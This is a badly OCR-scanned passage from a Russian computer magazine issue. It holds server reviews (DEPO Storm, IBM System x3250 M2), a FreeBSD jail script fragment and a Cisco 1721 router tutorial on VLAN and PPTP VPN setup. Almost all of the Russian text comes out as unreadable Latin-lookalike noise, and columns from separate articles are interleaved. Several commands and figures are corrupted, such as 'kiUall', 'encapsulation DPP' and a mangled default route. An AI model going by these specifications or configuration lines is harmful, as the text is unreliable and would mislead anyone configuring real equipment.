OCTaJiOCb T01IbKO HaHRTb Be6-pa3pa6o-PrnKOB, K01'Opf>le C03l'aJIH 6bl nou.epx 3TOI'O X03HHCTBa npocrOH HHTep¢>eil:CtvlH perl1crpaUHH IIOJIb30BaTeJleH, Ii
HanHcaTb He6oJTbWO:H CKpI1ITr, KOTOpblH 313nyCKaJl016hl no KpOHy H npOBep$VI, He HCTeK lIH CpoK apeHAbi a KJ<aYHTa (npHMep CKpI1nTa Thl HaftnellI.b aaAHClCe) .
KAPKAC C03AAH MbJco3,QaJll1»nOJ1Hepa60TOcrroc06HblH. KapKaC
jai1-cepsep killall -j $JID -TERM> /dev/null 2>&1
6y~ero CepBl1ca. B CJH~,l{}'IOllteH CTaTb€ Mbl pacCMoTpH.M, KaK npHRpynlTb
sleep 1
TOB, cHCTeM)' 63Karra, HaJlO>KI1M BceB03MO)f(J-Ible orpaHH'leHl1J'I H C03l'3,l!,HM
kiUall -j SJID -KILL. > /dev/null 2>&1
reTeporeHHyIO CI1CTeM)', B KOTOPOH CMOryr COC}'IUecTBoBaTb pa3Hbie BeJX11H
umount $JAILDIR/$IP/usr/ports/distfiles
FreeBSD-OIcPYJ.KeJiHH. I
1/
OC11lHal-l/I:.1BaeM
XAKEP 05 /1251 09
K HeJ,1Y n01lHolJ:eHHblH. MOHHTOpHlIf, HacrpoH.KH tvm pa3HbJX nlnOB aKKa}'H
~
131
'~
NA.l"HAN BINKERT
f
NATJaSYNACK.RU
I
'\J
-J--llleBllH:iblli1
uno pJ~
I~
=t3KO HOMKYHbllrill:np_DKllOAMIelUiRbl HIePB-ep-- y
I "e"""
-
1 ~~I
;')10-[·11 ":;)"''':)
TexHH~ecKHexapaKTepHCTHKH
> np0l..\eccop Intel Penllu rn dual-core E2200/ E5200 MJlM Intel Core 2 Duo E7200 /E8400 > naMSlTb
.0.08 r6 AsyxK8Ha,1bH0L1 naMSHl-1 OOR2-800 > A14CKOSble OTCeKl4
8 OTceKOB nOil 5.25" YCTpo~cTBa > nOAAep>KKa RAID V1HTerpv.posaHHb!i:1 SATA RAID·KoHTpoJlJlep Intel
ICH9R lRAID 0, 1.5, 1OJ. nOMep>KL-1sa fOUJ,lI1L1 JJ:o 6 .lKeCTKVlX .oI-1CKOB
> CeTeBoi1 "HTepq>ei1c
2-nopTOeb;l.1I-1HTerpVlpos8HHbILll Gigabit Ethernet
10/100/1000 M6"T IInlel825731 > n"TaH"e 5110K nltlTcHI1f1
MClt\HOCTbfO
eHHbll.16nOK I":vnaH\.1f1 Ha !-136brTO"lh'OCTblO
1<1
700
8T
1-1/11-1
CASO
500 8T (2x500 BTl c
S03MO~HOCTblO rop~"lel1
38MeHbi
> ~cnOflHeHMe OT.oenbHo CTOfllllal=l6aWHl1
(ABW, MM1- 591 ~'130·221, CHO>KKa 591* 4494'330, 6pyno 695·355"545
Pa3Mepbl MIo1
Macea -.0025 Kr ,D,onollHI.neJ1bHO t·lO;+;:eT nocraSfll1TbCfI KOMn neKT ,QJ1A MOI-lTa)l(c S AJH1HY
500
COeT8S!1l<eT
•
CepBep DEPO Stonn 11SONS, C03.D,aHHblK cneUHa
KC'-IaCTblO, 3TO He npo6.neMa, nOTOMy !{aJ{l{OnOJlHH
JlI1CTaMI1 J<OM nam1H DEPO Computers, paCC'l"I1TaH B
TeJlbHO
~
nepByJOOt{epe,n;b Ha npJ.1MCHeAHeB c¢epe MaJIOrO H
napaTHbJMJof
,
cpe.lu~ero 6H3Hcca.
LogicWlH Adaptec Ha 4 H.1lH 8 nopTOB H3Bbl60p (Aim
~
u
Z
~
I
3TO HetJ,OporoH, HonpoH3Bo.a;H
cepeep MOJKeT 6blTh YKOMrtrleKTOeaH wan
SAS/SATA
RAID-I{OHTpClJDlepaMJof
LSI
cepsep, BbInOJIHeHHhlH B 4;lopM-¢laKTope Pedestal, BblCOTOH 45 CaHTHMelpOB, K01OPbJ.~1 B MH
nOClle,nHero TaJOKe ,Il.OCTyTTHa 6aTapeJI aBapHHHoro
HHM3JIhHOH KOH4111l')'pamui MO)KHO HCTIOJIb30BaTb
KOB MO)!(HO nO,ll.06paTh JofH,AHBHAYaJlbHO- BMeCTeC
TeJlbHhl"
B Ka'leCTBC Bt-ryI'pllceTeBOro
DNS-, DHCP-,
OpaK
mrraHHJl. K3l1I-naMJITH).
KQJIH'leCTBO» o6oeM AHe
KOP3HHOH «rOpR.l.l.eM 3aMeHbll' Ha 5,lU1cKOB.
rn-cepBepa, 6paH,llMaY3pa Ii llUIlO3a}:VLS! oqmca He·
MaTepHHCKM
60!J.bWoH KOMflamUf. YcraHoBKa OnIJ.HOHaJIbHOrO
3200
RAlD-KOHTpo.n.nepa nB 4 I1JlH 8 tl.HCKOB npeopaTHT
KOHTpo.1UlepoM Intel82573V+82566DM H BHAeoa
nnaTa nOCTpoeHa Ha 'lHnCeTe Intel
c mrrerp»poBaHHbl:M 2·nop1'OBblM
ceTeBblM
19" CTOL:1Ky. Pellbcbl ViMe;OT
MM. BblCOTa
cepsepa s CTOL1Ke
5U
"rOp5l'leH 3aMeHb1», a TaJOf{e KOMfUleKT,II)UI :MOHTa
>Ka.a CTOHKY 19".
CepBep
nOCTal3JUleTCR C ,ll.Ot<yMeHTIUweH Ha pyc
CKOM .lI3blKe It nO,lHbIM Ha6opOM Heo6XO,1lHMblX
ApaHBepon. 3a ,Il..OnOJlHJofTe.nbHYJO IUlaTY cneUi'la DEPO Computers ycraHoB5IT Ha cepBep MS Windows 2008 Standard H Ha60p no, 113 KOTOporo MO>KHO Bhl6paTb MS SharePoint Services 3.0 H MS Hyper-V.
JlueThl
KOHlimrypaUH1I eepBepa O'leHh m6Ka. Ha eal1Te KOMrraJlHH HMeeTCR YAo6 HblH: KOH<pHrypaTop, KO
era B Ha,ll,e>KHblH ¢laM-cepsep JUIH cepsep web-xoc
AarrrepoM XGI Z9S 16M6. 06beM npe.z.GlC'l'aHOBJIeH
TOPhlH n03DomfT nOtl.06paTb MHO)f(eCT80 ,Il.onOJl
TItHra.
HOM orreparnBHoH oar-tAT" 6aphHpyeTCfI OT OAHOro
HHTeJlbHblX KOMrrOHeHTOB
no YMOJIQaHHlO cepsep ocnameH nporpaMMHo-an rrapaTHblMSATA RAlD-KOHT!X)illlCpoM IntelICH9R.
,Il.0 (MaKCHM)'M) BOChM» mra6ai:iT ,Il.6yxKaHaJlbHOH
OT HeH)')KHhlx
OH no,1UlepWIBaeT AO meCTH ):UI0<08, HO pa60TaeT
OCHall.\eHnpHBO,Il.aMHDVD-ROMHFDD,OTYcraHOB
TOJlbKO B
nape C.llpaHBejXJM onepaU;HOHHOH CHCTe
DDR2-BOO. B craA,ltaprnoi1 KOMl1JIeKTaJ.lHH cepsep KHKOTopbIX,nnpo'leM,MO)J{HOOTKaJaTbCI.Oco6eH
MbI H He o6ecne<£HBaer H~eJI(HOCTH, cpasHHMOH C
HO paA)'eT Om\HOHaJlhHhlH CAnoeHHbI}! GJlOl< mrra·
nOJIHOCTblO anrrapaTHbIMH RAID-KOHTpOJVlepar.m.
HJUI, 06w.eH MOll.\HOCThfO 1000 BTH B03MO)J{HOCTbfO
~
132
cepBepa H QTKa3aTbCH npelJ;ycTaHoBoK. UeHa cepBepa B craH,dapTHOH Konqnfrypal..Vm, 6KJllOl IaJOll.\eH npOQeccop Intel Pentium dual-core E5200, 1 r6 orrepaTHBHoi1 naM5ITH, )f{ecrKHflllHcK Ha 250 r6 H 6JlOK nI1XallH5I Ha 700 BT. eOCTaBJIReT 33578 py6JIeH.I XAKEP 05/125/ 09
plte.tL--------------r
TeXHM'leCKMe xapaKTepMcTMKM
IBM
:>Apyroe:
> nOAAepmKa RAID:
System x3250 M2:
VlHTerpV1poBaHHblVi annapaTHblVl RAID 0, -1 B
IPMI2.0-co8MecT>1Mbl~
> npolleceop (OAMH 1'131:
cTBHAapTHoVl KOMnl1eKTaLJ,l-1li1, AOnOJlHlt1TeflbHO
TenbHO RSA II Slim Line
rrl..\,
Intel Xeon 3360 (4eTblpeXM1AepHbli1112,83
V1HTerpVlpoBaHHbI~8e\)J,eoaAanTep
RAID-5
1333Mr"FSB,12M61
ATI
ES1 000
32 M6
Intel Xeon 3120 [p,Byxb51JJ,epHblii} [3,16 rrll"
> CeTeaoH MHTepepel1c:
1333 Mr"FSB, 6 M61
ABa aAanrepa Gigabit Ethernet [GbEI
Intel Core 2 Duo E7200 [2,53 rrll, 1066 Mru, FSB, 3 M61
> nlo1TaHHe:
Intel CeLeran 12
mini BMC2. .QonOllHL-1
rru, 80C Mr4 FSB. 512 K61
npVl8o,o,DVD+/-RW
:> CI1CTeMa OXlla>K,QeHI1.R: TeXtiOllOn1>l
61101< n,Ha HI-1l'!
M0UJ,HOCTblO
Calibrated Vectored Cooling
level
350 BT :> ~CnOllHeHl1e:
:> naMS'lTb: AO
> PacwVlpeHHe:
8 r6 ,r"ByxKaHaJlbHO~ OnepaTl-1BHOL'l
naM51TVl
YCTaHoBKa B CTOHKy/1
U, 22"
B rny6l-1HY
1 e110T PCI Express x8
DDR2-667/800
1 eflOT PCI Express x4
:> rapaHTVlI1HOe o6cnY>lo1SaHl1e: OrpaHw-+eHHa" rapa+HIII\1 Ha 1111111113 rO,ll,a
• ~""""'''''OTCeKlt:
> BHewHHe nopTbl BBOAa-BbIBOAa
3aMeH~eMble 3aKa3 LH1KOM MOAYJll-1
4 pa3beMa USB 2.0 12 cnepeJ],L-1, 2 c3aJJ,V1j 1 BblxoAVGA IO-Sub)
saHllleM Ha MeCTe 3KcnnyaTau,1414
3_'::-,:·)Vo'.\OSblX1!HCKa C 803MO)l(HOCTblO
- -::.';' ~=a.>e"':'
H
HI-nep¢>ei1coM SATA. ,asa
=-"""-"C.:oIX LlI~C"2 SCSI IsASJ/SATA, llV160
-"",
2.5-':!(J~MoBblxAIIICKa
SAs
C B03MO)l(
"DC:;:'-SI~132MeHbl
nopTa
IDB-9MI
Pa3beMbi PS/2 AMI nOAKlllO«eHlJt51 MblWlII '"
K.naBl.1,nypbl
....,"'''''':r3250 ~12 D03Hl.{HOlfMpyeTCR K3K cep -=::lI!IIia.ThHO OQ,J..XOA.IIIl{HH ,lVIR nOMep)KI01
,nocraroQHO AJIJl pa60Tbl CeTeBhlX cepsHCOB ue6oJIh mOM KOMIlaHI1H.
B Kal.lecrne
XpaHHJIHll..Ia ,lJ,aHHhlX
Ka, pel)'llHPY.ll CKOpocTH epaJ.l.I.eHlliI
neHTIIJUlTOpoa
B 3anMCHMOCTH OT BHyrpeHHHX Ter.tneparyp_
:.:n-o
~IP:-;l..-rypblHe60JIbllli1X KOMnaHHH
MOryI' 6bITb HCTIOJIh30BaHhI napa 3,5-,lJ,lOtiMoBblx
n03BOJIReT CHH3H1."bllJ}'MOBbJe nOKa3aTeJlH H pacxDA
tL &a.3) o.:a3aTb, 3TO npaOAa. HI13KliH
)I<eCTKHX,D;HCKOB SATA, napa3,5-AJOHMOBblXJUfCKOD
3JleKTP03Hepnm_ Oc06o OTt<1eTilM HaJIH9He ocrpo
3BeP£OflOllX'MeH.lliI, MaJIblH pa3
SAS/SATA lUlU 'leThlpe 2,S-,lJ,JOHMOBblX,lJ,IiCKa SAS_
eHHoro
TIpH'leM, nOClleAHHe ,ll,Ba Bapl1aHTa npetJ:IIOJIaraKrr
BMC2, COOMeCTHMOrO co cneUHqHfKaLUieit
?--III!J". .:0::
2 nOCJleAOBilTeflbHblX
Ha
c 06Cfly>t<V1
~1IbHOCTbH
-l.sp;r C EeBbl:coRofi
nOMcp)J(Ka
ueHoli (OT
36800
B03MOiKHOCTb ropH'ICM 3aMeHhI He TOJIhKO
6e.3 OC
2.0
ynpaBJUIloW;ero MUHU-KOHTJXlIllIepa mini
IPMI
(HH'.reJlJIeKTYMbHblH HHTep¢eHC ynpalmeHIDI
~OT ~$W)'Pal.{HH) ?\eJIillOT ero
TaHOBKH cepBepa, HO J1 6e3 H3BJ1e'lemI51 113 CToHKH.
Wla,.q,opMoH). KpoMe OCHOOHbIX <!JYHKUI1.H, mini
oqeHb ITpHBJIeKal'e11.bHhTM B Ka'lecrne Ha,D;(')KHOro
BcrpoeHHblH RAID-KOHTpQ1lJlep nOAAeJ»KH.BaeT
BCM2 TalOKe n03BOJUIeT ynpaBJUl.·Ib H CJIe,1J,HTb 3a
n09TOBOro HJIH web-cepnepa, KOIITp0JUIepa tJ;oMe H8
Active Directory,
6aJIaHCHpOBlI.\HKa H3rpY3KH,
DNS-, DHCP-, npoKCHocepBepa Will 6paHAMayapa_ Bhl'lHCftI1TelJbHaJ'l
l\IOW;HOCTb cepsepa MO)J(eT 6bITb
HH,QHBHAYanbHono,ao6paHanO~3a~a\ry.LI,IDKeBMH
KOH41mypaI.{HJO
RAID-O, -1,
HO ,lI,llH nonyqeHlliI
nOMep}f(}(l1 IWD-S apH,ll;eTCR yCTaHOBHTb ,ll,onUlI m:lTeJJ.bHbUi
a,ll,arrrep PCI-Express. Cepnep BblIlUlI
COCTOflHHeM RAID-l<OH1,:>OJU1epa. L1,onO,1JUITeJTbHO MOiKHO
npH06pect-I1 3,ll,all'I'ep tvIR ytJ;aJIeHHoro yn
paancHWl RSA II Slimtine (en.wikipedia.orzlwiki! Ad<l~. CpeAH 0<pH1.\H
HeH B <PoPM-<PaKTOpe 1U ,lVllf ycraHoBKli B croih<y,
IBM Remote Supervisor
6JIaro.a.apa \Ier.ry OH OTJTWlHO nO,llXO,D;HT.lVlH- pacIIIH
anbllO nOMep)J(HIlaeMblX Onepa1.\HOHHhTX CHCTe11
HHMaJIbliOii KOHQ>HIJ'PaI.UUI C npoueccopoM Imel
pe.HHSi cymcCTB)'lOm;eH ceTeBoH I1H<ppaCTPYI<'I}'PbT_
'JHCJUfTCK MS
Celeron Ha 2 rru H 01I;HHM rnra6aHToM orrepaTIiB
TeXliOJIOnMI Calibrated Vectored Cooling (evC) on
Linux-,n;HCTpH6yrnSbl Red Hat Enterprise Unux RS II
HOM oaMJITH np0I13BOAJITenbHOCTI1 6y.n:eT BnOJIHe
niMH3HpYeTnyTb0poxOil{,1leHWlB03tl,yuIHoronoTO-
SUSELinux Enterprise Server 10. I
XAKEP 05/125/ 09
Windows 2003, Novell NetWare 6.5 H
~
133
~
VASIUY «CAN/WAR» OlEROV
I FR33M2/olr.IGIo4All',COM f
I"
~_ ,
~
1---1'-'_61-------"=~
I
L
I
,L],yMaewb, '1TO pa60TaTb c ceTeBblM 060pyp,oBaHV1eM Cisco Systems MO,yT TonbKO 60poAaTbie A51p,bKV1 c CepTl-1epV1KaTaMV1 He HV1}1{e CCIE? nOCTapa IDCb Te651 B3TOM nepey6eAV1Tb.
~
00
B HAWE BPEMH TonbKO nEHItBblH Itnlt AAnEKItH OT KOMnblOTEPOB HE cnbl WAn 0 CISCO.3'raKoMnaHwljJ,oBonbHo,n;aBHo pa6oTae1' B
c4>epe HHcPoPMaUHoHHbIX TeXHOJIQ
niH Hpa3paGaTbISaeTCeTeBoe o60pY,lJ;oBaHJ.1e, KOTopoeno3BOJlJ'leTpeWHThnpaKTH'IecRH13ce
B03HHKaIOlQHe3CiAaQH. KaKTbI nOHl'IMaeWb, C'l'ORT TaKHe,lleBaHCbI He $10, a HaMHoro tJ;opoJKe.
EIGRP, TORbKO H3 IPv4, IlKJIIOl.laeT NAT H VLAN'bl (802.1q H ISL); k9 - nOAD,€J»KKa wHtPpoaaRlliI;
lXa6hl I1pli HeilOJIa,lI,KaX Beel'''' ocraoanaCh B03
• mz nOKa3bllmeT, 'ITO ¢latin. HBJUleTCJl. 6HHapHbiM
KOHeu KOHCO..l bHOro npoBo,n:a uerumeM KO;UCKe,
(n.Jr.H OKaThlX HCnOJlb3YeTOf tar);
t\pyrOH KoHeu- KKOM.ny, HCnOJTb3}?1 COM-nopT.
• 124-12-HoMep pe.nH33. ,lJ,Jm Bb160pa no,o:XOMILIero 10S'a HCnOJlb3yeTOl ynLllHTa Feature Navigator. HaxOAlITCiI OHa Ha oqmqHaJIbHOM caJ1:Te Cisco: tools.cisco.com!
MOIKHO<:Tb IIp0.ll.OJDKeHI1JI HacrpoHfill. l1ra K, OllHH
YT06hl nO,llK1lIO'iHTbOl K,n:eSaHcy, 3anyCKaeM JllO 6yIO repMHHallbH)'lO rrporpaMMy H COe,r(HHfIeMCll C
COM-nop-roM H<l CKOpocrn 9600. RaK BapHaHT, MO:>KeIlIb HCIIDJlb30BaTb HyperTerminal, KOTOPhlH
'IOU/erN Iisp/index.lsp. VICKaTh nOjV;.O,/1,RlQH.H
BKJUO"leH BCOCTaB Windows. Ilocne nOAKJIlO"IeHHH
lOS MO)l{HO no Ha60py B03MO:>KHOCTeH, no 11cnOJIb·
}KMeM
Router Simulator), H TOJlbKO nOTOM nepexO,ll,HTb
3yeMoH ruraTq>opMe, a TalOKe no Ha3BaHHiO 06pa
peJKHM KOMaH,!l;oH «enable». B,lXaHHhIH MOMeHT
K pearrbHbl M CHeTeMaM. A eCJlH Te6e He Tep
3a. "Y.To6btnOc."10TpeTb, KaKOj;j yTe6Jl.ycraHoBAeH
MO>KHO nOCMOtpeTb COCTOl1HHe pa3JIII'iHblX C'1eT
mITca 1l0BepTeTb B p}'KaX)KeJle3KY OT Cisco, TO
10S,,D;OCTaTO'iHO Ha6paTh B KOHCOJ\I1:
'ffiKOB, TeK}'lllYJO H CTapTOB)'lOKoH<pHrypaLlHIO, a
n03TOMY1'1 COBeT}'Kl CH3'1alla nOTpeHHpOBaTf;>OJ Ha. 3MyJUITOpax
(Xenomips, GNS3, Boson
<Enter> l { BXO,[lMM BnpHBHJTernpoBaHHblH
T3lOI.<e npOH.)BeCTH nOMcKHeHcnpaoHocret1 B ceTH
MO)f{eWb nOXQAliTb no pa3JIH'IHbIM 6apaXOJIKaM
npli06pecnI 06opYAO.BaHHeTaM. HMeHHO Tal< $'I HnocryTiKll, KynHB Mapwpyn13aTOp Cisco 1721
cisco#show version
H
(n HMero B BH.lO'ping, rraceroute). 2Vrn nepexOt\8 BpC:>KHM KOH<pHrypaItHHHe06xo,llJ.JMo BBecrH
HM0ttYJIh pacwHpemrnWIC-4ESW (CBHT'-l Ha 4
3m KOMal~a BblJ{aCT nOJlH)'Kl HH4>opr.tal.\HIO 0
KOMaHAY«configure termina!>,. I1MeHHo B 3TOM
nopTa) 3a 10ktlepeMHHhlX. BnoRHe JWpMaJIhHO,
TBodi: l.V!clCe-KOJIH'ieCTBOnaMl1Tl1, al1TaHM,
J>e)l<JIMe Mbl H 6YAe.M n poH3B(),Z(Ifth BOO .ll.anbHeH.
eclJ'U cpaBHlmaTb C l.\eHaMH B Mara3HHax (TaM 6bl
MO.n;eJlb n poueecopa, .n;ocrynHble HHTep<Peilcbl,
W}'lO HacrpOHKy.
CMeHl1 COtlPaJlH elUeThldl'i 20, K:JKMHHHMyM).
3Ha"le.Jme KOHf}mrypaW!oHHoro perHcrpa.
nOAKnlOl.4EHME CETE" BnpJ.JHQIlOe,3.l1.eCh
,llyM8iO, Thl caM pa36epewhdl, K8K)'lO MOt\eJ!b np~IK'YT!HTb, 8
l1 nOKa paccKillKy npo HCflOJIh3yeMoe
nOCTAHOBKA 3AAAl.4M B Haq8JlhHbIXYCJlOBH'
HH'IerO CJImt<Horo- nOJ\KJ110'laeM BHT)'K> napyB
}IX y HaCeCTbll:Ba npo13a:i1,nepa: nepBblH ITpeAOCTaB
l.\HCKyH npRCnaHBaeM lP-3t\peea HHTe!'4encaM.
JIfleT,u;ocryn B HHTepHeT"Iepe3JIOKaJJbH)IlO CeThe
Bce 6bI XOpOllIO, HO nOpTbl MOtJYIDI WIC-4E$W
cepblM ('UfI3i'1: npHBaTHblM) IP, BTOPOH Bbt,ll,aeT 6ellM" IP, HO TOJ!bKonocne yCTaHOBJIeHWi CO("AH
-3TO switch-nOpTbl, TO CCTb Ha HRX HeJI.b3H
MeJt{CeTeIlM onepaJ.{UOHHaH cHCTeMa) YCTa
HallJlHBaeTOlH8cereBoeo6opy,a;oBaHHeCiscoH
HeHM e PPTP-cepBepoM. TalOKeyHac HMeeTOl
CBO,n:JITdI KA06aOJleHHIO epH311'!eCKHX nopTOB B
npet\0CTaBJmeT 1l03MO:>KH()C"fh rn61<OH Hacrpot'um
.ll;BeJIOKaJIbHblX cem C at\pecaMH 192.168.1.0/24
onpeJJ;eJleHHhleVLAN'bl.AJmTex, KTOHeBKypce: VLAN -3TO BHpTyMbHaR JIOKaJlbHillI Bbl"lHC
nporpaMMHOe o6ecneQeHHe.
CISCO lOS IDS Onternetwork Operation System,
BblCraBHTb IP-ClApet
CL2 switching). PerneHHe
eCJm TbI Ol'paRli'IeH.a CP€ACTSax, Mow;eWb nOHC
192.168.3.0/24. J\tI.pec ,n:eMHJlHTapH30nal-IHOH 30HbI (DMZ) -10.10.20.0/24. ¢OpMYJIHpyeM
KaTb H}')KKhlH IOS·06pa3 H8 epopyMax (HanpnMep,
3Ma"lH:
ceTH eOCTOHT BTOM, "ITO OmenHeTCl'l OHa OT
torrcms.ru/(orum). BepcHIO onepauHOffiQ1 nOJI,6H
t. CiSCo.l(OJDKHa YCTaH"aBJlI1BaTb COe,D;J.1HeHHe C
t\pyrnx cereH He <pH3H'ieeKH (ycr<lHOBKa ROBOro
on:reMhl.
no-XoporneMY, 10$ H}?KHO nOK)'IlaTb, HO
H
JIHTe-lbHM CeTb, OTJll1'me KOTOpori oTo6hNHOH
paH nQAKoHKpeTIlhle3allaQM.,llonyCTHM, HMHM<
PPTP-cepBepoM.
060pY.ll.OBaHUll), aJIOf!l"leCKH (Ra ynpaBJ1JleMOM
lOS H33h1BaeTOITaK: cI700-ipbasek9-rnz.124-12.
2. JIoKaJlbHble cenl,n:OJI)KHbI BhlXO,l.l,HTb B HHTepHeT
KOMMYTaTOpe CTaBHTCH COOTBeTCTilHe MeJKAYeM
bin (H3 MoeH I.U1CKe ycraHoBJIeH HMclmooH). B
"iepe3 nepBoro
A3HHOM eJIY'-Iae:
3. Bce3anpocbl Aa BHewHMH IP ,ZJ:OJl)J(Hhl nepeHa
CJlOBaMH, ,!I)lH pememUlllaweH np06Jle3.thl HaM
nponati,D.epa (Dblt\eJlJIeT eepbIH [Pl.
He06xQAHMO C03.ll.aTb qeTblpe au pTyaJIbHble ceTH,
• c1700 03Ha'iaeT, 'ITO 105 np~Ha3Ha'ieH,lVUI
npaBJUlTbdl B DMZ Ha cooTBeTCTBYJOIUHe cepBepa.
o60py,n:oB8HlliI17·j:{ CepHI1;
4.,l{;mJIOKaJlbHblX ceTeH UI1CI<allOJl)f{Ha BblCTY·
• ipbasek9~Ha60pBo3Mo)KHOCTeH; ipbase
oaTb B ponH DNS
IfDHCP eepBepoB.
paewl1<ppoBbiBaeTCR KaK H8'IanbHbIH ypoBeHb
rrOpTaMH U Onpe,D;e.aeHHbTMH VLAN). JWyrw.m
npHeBOJ.'lTb HM IP-a.ll.peca H CKasaTb I..l)1CKe, 'ITO :nOTnopT npMHap)le)J(}fT J"roA CeTH,
a 3TOT-TOH.
l{T06bl He 3a Hl1MaTb .ll.parou;eHl.fOe W;ypHa..lbHoe
<PYHKJ.U10H8JlbHOCTIl, 06ecne'l HBaCT 6a30BhlH pOyw
nOAKniOIiEHHE K LU1CKE Hnpe,I.\I10'iHTaJoHa
MeCTO H He nOBTOpJlTbCil, npHBe;J;y npUMepTOJlbKO
THHr, TO eCTb CTaTIi'leClme Maprnpyrbl, RIP, OSPF,
CTpaHBaTb ceTeBoe o60pyt\o.aaHHe 'lepe3 KOHCQJlb,
,l!)UI O,llHOH
~134
I
.1
I
.4
'e::IJE3'--.L_LJ-LLei-lLLL-.....J~~~~~
~t.p.a:HB:aet.(L61:IeBoVl Ci-sCQP~ep:::=
• i
I
cern:
XAKEP OS 112S/ 09
CxeMa
--11---.....1 -
Hawe~
cen,
CISCO 1721
VEB SERVER
r
• ciscoilvlan database cisco (vlan} IIvla!'. 2 VLJ>.N 2 added:
Vlan2·192.168.1.254·YES·manual -up ·up cisco#sh ip int brief fa4
Na.. .n e: VLl\.N0002
Interface·IP-Address·OK?·Method·
cisco(vl.an)#ex
Status-Protocol
"?", HeeH)')KHO BBeCTM BpY'-lH)'IO, EilJarCl,Aapfl31'OH l(or.'laH,ll;e, npn Bbl60pe npoTOKona nO~KJI1O"IeHWI MO)f(HO BbI6paTb npOTOKOJI PPTP.
cisco(config)#service internal
FastEthernet4·unassigned.YES. TenepbHaCTpOI1MHaIIIvlan-I1HTep¢eHC
I
I I
cisco-it-conf t
unset·up·up cisco#sh vlan-S;'Jitch VLAN Name Status
vl<O'..:1 2 cisco(configlilint vlan 2
1
default
2
VLAN0002
BKJlIO\laeM HHaCTpaJ1BaeM vpdn (Virtual Private Dialup Nerwork):
Ports
! HaCTpal1!3ae~
I
cisco(config~if)~ip-address
! 13KllKl··laeM vp(ln
active active
cisco (config) Fa'
skipped
cisco(config)
4vpdn-group 1
cisco (conf .i.g-vpdn) "L'equest -dL<tlin
192.168.1.254255.255.255.0 cisco(cOnfig~if)#AZ
#Vpdll enable
! C03JJ;aeM rpynny C HQM8POM 1
MOlKeWb nonpo60BaTb nponuHroBaTb I<oro· HH6Y.llb. ){OJDKHono.rryqHTbC1t.
B Ka'leCTBC
nOCJIeAHee, <iTO Heo6xO,llHMO CAe..13Th- .ll06a
ynpa>t<HeHUJI cOBeT)'lO nO~KJno'n1Tb OCTaJIbHble
BlITb iPH3H'-IecKHH IfHTepl'eHc B H}'>KH1>JK HaM
cent nOaHaJlOfHH cTeM, KaKMblTOJIbKO 'ITO
vlan:
C~enaJiH. COBeryJO TaIOI<eJJ.06aDJI.Il:Tb onHCaHl1e
! YK<:l3bJBaeM npOTOEon COeIl,¥IHeHlHl
cisco(config-vpdn-req-in)#profocol pptp cisco(config-vpdn-req-in) hotaxy group 0
K ~lH"1"ep4>eHCY C nOMOll.lblO KOMaH,ll,b1 de~cription,
! 'lK8:?><>JCfleI1 VPN cepe<>p
! KQH.¢l:1;:YDliIpyeM H:-l1'E:rQle;;,c
KOTOPYlO Heo6xo~HMO BBO~HTb B pe)I(HMe KOH
cisco(config-vpdn) #initiate-to ip _vpn_
Eastethernet 4
<pHrypHpOBaHH.II HHTep<flerlca. 3TO Heo6.113aTenb
server~lp_
cisco(config)~int
fa4
HM npoue.a.ypa, HO'lJepe3 HeKoropoe BpeM.R. 6e3
! Twn rJOp-:-8 (MC:i\et' Obl-:-'!;, eur.... trtmk}
TaKHX nOMeTOI( 6Y.lleT CJlomHO pa306paTbCfl, '-ITO
nOIDITHoe J];eJI0, 'lTO BMecTO "_ vpn_servecip_"
clsco(config-if)#switchport mode
K'-IeMyOTHoCHTCJI.
He06xo,ll.HMO nO,ll.CTanHTh IP-3,[1pec cuoero VPN
! ,l106dB!15Il:'M 3TO'1' nopT 90 BTOPOt1
vlan cisco(ccnfig-if)~switchportaccess
COEAI1HEHI1E C PPTP-CEPBEPOM KOrAa
KOTOpOM )'KIDKeM rrapaMeTphl COe,[lHHeHHH:
fI nOI<yTlaJI Q.HCK)', TO nOJlara.n, '-ITO ycraHOBHTb
vIan 2
CQeAJ1HeHl1e CVPN-cepBepOi\1 no npOTOKOJI}'
! HilCTpaI1B<1eM v,HTep$ei1c VPN-KJIMeK'I'd
PPTP- npocrM33Aa'-la. Ha ,ltene OKa3aJIOCh, <fT()
cisco(config)#interface DialerO
cepnepa. Tenepb C03J];3eM caM lfHTeprpei1:c, Ha
access
nOCMOTpHM, '-lTQ nony'IHJlOCb:
clsco#sh ip int brief vlan 2 Interface-IP-Address'OK?'Method'St atus·l?rotocol XAKEP 05/1251 09
)J;eBaik }'MeeT Coe,a:HH,RTbCfI TOJlbKO no nPOTOKOny
L2TP. nporyrJlltB3TOT Bonpoc, l'I HaUIeJI perneHHe.
cisco(config-if)nmtu 1440
KOTOpoe MHe 1(.3)KeTOI60JlbUIe xaKOM, 'tJeM
! ABTOMaTI1'-1eCKI1 nO.rJ"Y'-lClTb IP-a.lJpec ciscolconfig-if)ijjpaddress negotiated
)J;OKyMeHTHpoBaHHOH: B03!\fO:>KHOClblO. H~f)KeC JletU'IO~ KOM3H)l.a
He nOflBJUle1TIl no Ha>KaTIlIO
~135
» :: 'i
.~~~ -
.w>
.~.!"'- ~~--
U'--:;·-Ib';':::--
~ ?'._~" .. ::.ET-
---~,~o:,.__ ,,---"--'-U.~.
~~.~-~~~.-
."",1" c'HO
•
C,OCO DocuIMn13bGn
~~t~~~:~f§t~i~:£;;~~~i;~
----1--- -------- - - --,-_... I
00n1Ol! __ c... q""
::I
I"""."
s. ,"-. """_ _
)5
~"
.,
~
~
~
~
-I
3
3 3
...."
olIllM-.."-_
~ ~
<UlI""' .....
·_'"'''.'·01...·
~
o'c.uU>.
~,
= "7":'
...... ._" ..r;,._ '_""m,,"',
""-'
• '-..."n·C ....· "
.~
............ ,""".,""-..
·,..·......""'··· ...z, ....... .~l":"£>.u
._,~
.""
j,_
r.-.I"r>lIA·o.",,~
G..
.•.. ,.
.... I..I.~_ ..... I.,,~I• ....,
I:
I
ri·T~I ... _ · j _'...-:<-r..---;:;;::-
O<pl'IlIVlal1bH311 ,QOKyMeHTallVls:l aT Cisco Systems
!
81!i.Iro.n:ap5i
Bee rna l3
)luHHOH
COCTO.l1HHI1
~
info
• Cisco IDS -
MHO
KO!-laH,D€ liau, M:-iTep<1leik
6YA€ ' l'
H.A}'lil.l1e H3 HaWltX ceTeH. TaK H nocrym1M:
·up·
cisco{config)#ip route D.G.O.O 0,0.0.0 I$Pl_GW
BblC'I'al.JJ1$1e~j I1HKanCYJ1.11UVK) PPP
cisco(config-if}#encapsulation DPP
MapwPYTAo6aBI1JlH. Tenepb C03AaeM Access List. OR 6y.a.eT
cisco(config-if} ffdialer in-band
